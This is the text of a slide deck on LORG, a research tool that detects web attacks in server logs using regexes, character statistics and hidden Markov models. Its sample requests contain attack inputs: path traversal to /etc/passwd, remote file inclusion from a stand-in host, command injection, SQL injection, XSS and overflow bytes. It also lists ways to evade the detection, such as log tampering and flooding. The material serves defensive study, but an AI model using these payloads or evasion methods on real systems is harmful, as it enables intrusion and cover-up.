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Scenario

You got pwned



  

The Log File Problem

● Log files are huge. We are lazy.

● How find „important“ stuff?

● Still using grep/sed/awk?

● Why not use automated tools?

● Because we're simply lacking them right now!



  

What do we have?

WAF/IDS

● ModSecurity
● OWASP AppSensor
● PHPIDS
● ...

Log Analytics,
Monitoring,
Forensics

● Piwik
● AWstats
● GoAccess
● Splunk
● PyFlag
● ...

Automated
Web Log
Forensics

Why not combine both worlds?



  

Needle in a Haystack?

134.147.23.42 - - [13/Mar/2012:20:58:25 +0100] "GET 
/webapp.php?page=news HTTP/1.1" 200 36312

134.147.61.15 - - [13/Mar/2012:21:02:13 +0100] "GET 
/webapp.php?page=blog HTTP/1.1" 200 27140

134.147.12.77 - - [13/Mar/2012:20:58:25 +0100] "GET 
/webapp.php?page=index HTTP/1.1" 200 30745

134.147.12.77 - - [13/Mar/2012:20:58:29 +0100] "GET 
/webapp.php?page=news HTTP/1.1" 200 36312

212.32.45.167 - - [13/Mar/2012:21:05:42 +0100] "GET 
/webapp.php?page=../../etc/passwd HTTP/1.1" 200 2219

134.147.12.131 - - [13/Mar/2012:20:58:29 +0100] "GET 
/webapp.php?page=wiki HTTP/1.1" 200 73141



  

Various Kinds of Attacks...

● Remote File Inclusion: /include/?file=http://evil.fr/sh

● Command Execution: /lookup.jsp?ip=|+ls+-l

● SQL Injection: /product.asp?id=0%20or%201=1

● XSS (persistent):   /forum.php?post=<script>alert(1);

● Buffer Overflow:   /cgi-bin/Count.cgi?user=a           
                     \x90\xbf8\xee\xff\xbf8\xee\xff     
                     \xbf8\xee\xff\xbf8\xee\xff\xbf8    
                     \xee\xff\xbf8 […] \xff\xff

● ...and many more



  

Attack Detection

● Two approaches: signature-based vs. learning-based

● Used Detection Modules :

→ Match against Regular Expressions („PHPIDS“)

→ Statistics based on Char Distribution („CHARS“)

→ Machine Learning based on HMM („MCSHMM“)



  

Signatures + Regular Expressions

● Signatures: [ADD00]

● RegEx: [MC08], [Hei08], [Fry11]

PHPIDS detection module:

Array of URL                                                                        
query values → → Result

De-Obfuscation, Centrifuge Magic, RegEx Matching



  

Basic Statistics

● Length: [KV03]

● Char Distribution: [KV03], [WS04]

CHARS detection module:

P =

(Probability of an URL query value beeing benign) 

μ
|special chars|_____

|special chars|



  

Machine Learning

● Bayes Estimatior: [CC04]

● Self-Organizing Maps: [VMV05], [Ste12]

● DFA: [ISBF07]

● Neural Networks: [GER09]

● Wavelet Transformations: [MdAN+ 11]

● N-grams: [Oza13]

● Hidden Markov Models: [CAG09], [AG10], [AG11], 
[HTS11], [GJ12], [Choi13]



  

Hidden Markov Models

MCSHMM detection module:

● Aggregation: build Ensemble of HMMs for every URL query 
string parameter of every web application (=path)

● Conversion: Values [a-Z] → 'A', [0-9] → 'N'

● Training Phase: Baum-Welch algorithm

● Testing Phase: Viterbi algorithm (returns Probability of an 
URL query value like „/etc/passwd“ beeing benign)

● Apply MCS: Ensemble's highest Probability → best Result



  

Evaluation: Detection Modules

● Training Data: www.nds.rub.de, three weeks logs

● 63.000 requests altogether / 4.000 requests per day

● All incoming web traffic pre-filtered by a firewall with IPS

● considered attack free (in terms of measuring false-positives)

● Test Data: 40 real-world exploits obtained from various sources       
(9 command execution, 9 LFI, 9 XSS/CSRF, 13 SQLi)

● payloads placed in five URL query values of two web apps

● using HTTP GET method for payload injection only!



  

Evaluation: Detection Modules

ROC-Kurve for www.nds.rub.de



  

The Missing Context...

Detection completed, still to much Data!

● Information about the Attacker

→ Group Activities into Sessions

→ Man-Machine Distinction

→ GeoIP, DNSBL Lookups

● Information about the Attack

→ Success Evaluation?



  

Man-machine Distinction

● Session Identification

● Types of Sessions

→ Random Scan? (least dangerous)

→ Targeted Scan? (more dangerous)

→ Human Attacker? (most dangerous)

● Related to Robot Detection Techniques



  

Man-machine distinction



  

Geomapping Visitors and Attacks



  

DNSBL Information

What info can be gathered about attackers' origins?

● Wanted for Spam (b.barracudacentral.org, 
spam.dnsbl.sorbs.net, sbl.spamhaus.org)

● Botnet (xbl.spamhaus.org, zombie.dnsbl.sorbs.net)

● Open Proxies (dnsbl.proxybl.org, http.dnsbl.sorbs.net, 
socks.dnsbl.sorbs.net)

● Tor Network Exit Node (tor.dnsbl.sectoor.de)



  

Success Evaluation 

● Does yet another unsuccesful Scan matter?

→ No

● Did the attacker Succeed?

→ Define: What does „suceed“ mean?

→ Info Disclosure? File Disclosure? Compromise?

● Active Method: Replay Attacks, match for Signatures



  

Active Replay of Attacks

Signatures for File and Information Disclosure:

File disclosure: UNIX /etc/passwd → 'root:x:0:0:.+:[0-9a-zA-Z/]+'

File disclosure: PHP source code → '<? ?php(.*)?>'

File disclosure: Private keys → '-----BEGIN (D|R)SA PRIVATE KEY-----'

Info disclosure: PHP exception → 'PHP (Notice|Warning|Error)'

Info disclosure: Java IO exception → 'java.io.FileNotFoundException: '

Info disclosure: Python IO exception → 'Traceback (most recent call last):'

Info disclosure: file system path → 'Call to undefined function.*() in /'

Info disclosure: web root path → ': failed to open stream: '

Info disclosure: MySQL error → 'DBD::mysql::(db|st)(.*)failed'



  

Wait, active Methods are to easy...

● How to evaluate the Success of Attacks                         
given Log File information alone?

134.147.23.42 - - [13/Mar/2012:20:58:25 +0100] 
"GET /webapp.php?page=news HTTP/1.1" 200 36312

134.147.61.15 - - [13/Mar/2012:21:02:13 +0100] 
"GET /webapp.php?page=blog HTTP/1.1" 200 27140

134.147.12.77 - - [13/Mar/2012:20:58:25 +0100] 
"GET /webapp.php?page=index HTTP/1.1" 200 30745

● Any ideas?



  

HTTP Response Codes

134.147.23.42 - - [13/Mar/2012:20:58:25 +0100] "GET 
/webapp.php?page=news HTTP/1.1" 200 36312

134.147.61.15 - - [13/Mar/2012:21:02:13 +0100] "GET 
/webapp.php?page=blog HTTP/1.1" 200 27140

134.147.12.77 - - [13/Mar/2012:20:58:25 +0100] "GET 
/webapp.php?page=index HTTP/1.1" 200 30745

134.147.12.77 - - [13/Mar/2012:20:58:29 +0100] "GET 
/webapp.php?page=news HTTP/1.1" 200 36312

212.32.45.167 - - [13/Mar/2012:21:05:42 +0100] "GET 
/webapp.php?page=../../etc/passwd HTTP/1.1" 200 2219

134.147.12.131 - - [13/Mar/2012:20:58:29 +0100] "GET 
/webapp.php?page=wiki HTTP/1.1" 200 73141



  

HTTP Response Codes

...do not provide to much Information:

● 404 → unsuccessful scan?

● 401 | 403 → unsuccessful login

● 400 | 408 | 503 → denial of service?

● 500 → buffer overflow?

● 414 → unsuccessful buffer overflow?



  

Bytes-sent Outliers

● What about this: Outliers in „bytes-sent“ field

● Problem: Dynamic Content might produce various 
Hotspots → we need a density-based Algorithm!

● Local outlier Factor (LoF)

● Experimental; produces a high false-positive Rate, but 
we do this only on Requests detected as Attacks...



  

Outliers in bytes-sent

134.147.23.42 - - [13/Mar/2012:20:58:25 +0100] "GET 
/webapp.php?page=news HTTP/1.1" 200 36312

134.147.61.15 - - [13/Mar/2012:21:02:13 +0100] "GET 
/webapp.php?page=blog HTTP/1.1" 200 27140

134.147.12.77 - - [13/Mar/2012:20:58:25 +0100] "GET 
/webapp.php?page=index HTTP/1.1" 200 30745

134.147.12.77 - - [13/Mar/2012:20:58:29 +0100] "GET 
/webapp.php?page=news HTTP/1.1" 200 36312

212.32.45.167 - - [13/Mar/2012:21:05:42 +0100] "GET 
/webapp.php?page=../../etc/passwd HTTP/1.1" 200 2219

134.147.12.131 - - [13/Mar/2012:20:58:29 +0100] "GET 
/webapp.php?page=wiki HTTP/1.1" 200 73141



  

Visualization: LORG in Action

Nothing to see here, move on...



  

Evasion Techniques + Unresolved Issues

● Attack-based

→ Training Data Poisoning: Mitigation of learning-based Detection

→ Payload Obfuscation (urlencode, UTF-7 Entities, JS Unicode, ...)

→ Use Attack Vectors not logged or not visible  (POST, DOM-XSS) 

→ Hide attack flow in various, separate Steps or in Mass of „Noise“

● Logfile-based

→ Manipulation of Log Files (got r00t?)

→ Denial of Service Log Server (or send 0x1A to Apache 1.3)

→ Log Flooding: reach End of Disk or overwrite Logs (Rotation)



  

Thanks for your Attention...

Source Code

● LORG („Logfile Outlier Recognition and Gathering“)

http://github.com/jensvoid/lorg  (GPL2; pre-alpha PoC!)

Questions?

http://github.com/jensvoid/lorg
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